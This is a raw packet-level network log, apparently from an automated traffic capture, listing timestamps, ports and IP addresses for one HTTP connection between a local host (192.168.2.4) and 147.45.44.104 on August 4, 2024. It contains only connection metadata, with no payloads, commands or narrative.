Aug 4, 2024 02:21:37.842092991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842099905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842113018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842128992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842139959 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842158079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842168093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842184067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842185974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842205048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842209101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842222929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842232943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842255116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842271090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842478037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842506886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842528105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842530012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842541933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842546940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842566013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842572927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842586994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842597008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842614889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842619896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842631102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842643976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842660904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842670918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842680931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842689037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842710972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842717886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842725992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842741013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842757940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842763901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.842782974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.842799902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843202114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843221903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843246937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843250036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843260050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843270063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843288898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843290091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843312025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843314886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843321085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843338966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843349934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843357086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843378067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843384027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843395948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843405008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843426943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843429089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843441963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843453884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843473911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843477011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843491077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843521118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843734980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843754053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843777895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843799114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843801975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843826056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843828917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843853951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843868017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843883991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843904018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843925953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843945980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843946934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843965054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843971014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.843991041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.843992949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844010115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844012976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844033003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844038963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844050884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844059944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844082117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844085932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844109058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844110012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844125032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844132900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844151020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844153881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844173908 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844176054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844189882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844198942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844218969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844219923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844233990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844263077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844521046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844567060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844625950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844645977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844667912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844670057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844685078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844695091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844713926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844717979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844731092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844743013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844757080 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844765902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844784975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844784975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.844806910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.844824076 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077130079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077239037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077253103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077291012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077312946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077332973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077339888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077383041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077404976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077445984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077467918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077510118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077516079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077560902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077579975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077620983 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077629089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077670097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077675104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077717066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077749968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077791929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077815056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077857971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077877998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077919006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077924013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.077965975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.077972889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078012943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078020096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078059912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078078032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078118086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078121901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078161955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078169107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078210115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078217030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078253031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078263044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078303099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078310013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078351021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078356981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078404903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078408003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078443050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078453064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078495026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078499079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078540087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078546047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078586102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078593969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078632116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078639984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078685999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078687906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078727961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078735113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078775883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078783035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078821898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078830004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078869104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078876019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078917027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.078922987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.078969955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079009056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079014063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079049110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079061031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079099894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079123974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079163074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079171896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079211950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079219103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079260111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079260111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079302073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079308033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079339981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079360008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079399109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079406023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079447985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079452991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079492092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079499960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079538107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079546928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079582930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079593897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079634905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079641104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079679012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079687119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079726934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079735041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079771996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079781055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079821110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079828024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079869032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079874039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079914093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.079922915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.079968929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080009937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080017090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080053091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080080032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080127954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080127954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080167055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080173969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080219984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080224037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080261946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080269098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080310106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080317974 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080359936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080364943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080404043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080411911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080455065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080459118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080502987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080518007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080579042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080609083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080629110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080642939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080668926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080677032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080718040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080724001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080765009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080770969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080816984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080843925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080859900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080863953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080909014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.080950975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.080979109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081024885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081026077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081060886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081069946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081110001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081116915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081149101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081161976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081201077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081208944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081247091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081255913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081291914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081301928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081345081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081348896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081382990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081396103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081435919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081442118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081484079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081487894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081528902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081532955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081573963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081579924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081629038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081666946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081675053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081718922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081721067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081760883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081765890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081804991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081811905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081845999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081856966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081895113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081898928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.081939936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.081964016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082005978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082012892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082051992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082058907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082099915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082106113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082145929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082151890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082187891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082199097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082237005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082245111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082283974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082289934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082329988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.082333088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.082372904 CEST	49757	80	192.168.2.4	147.45.44.104
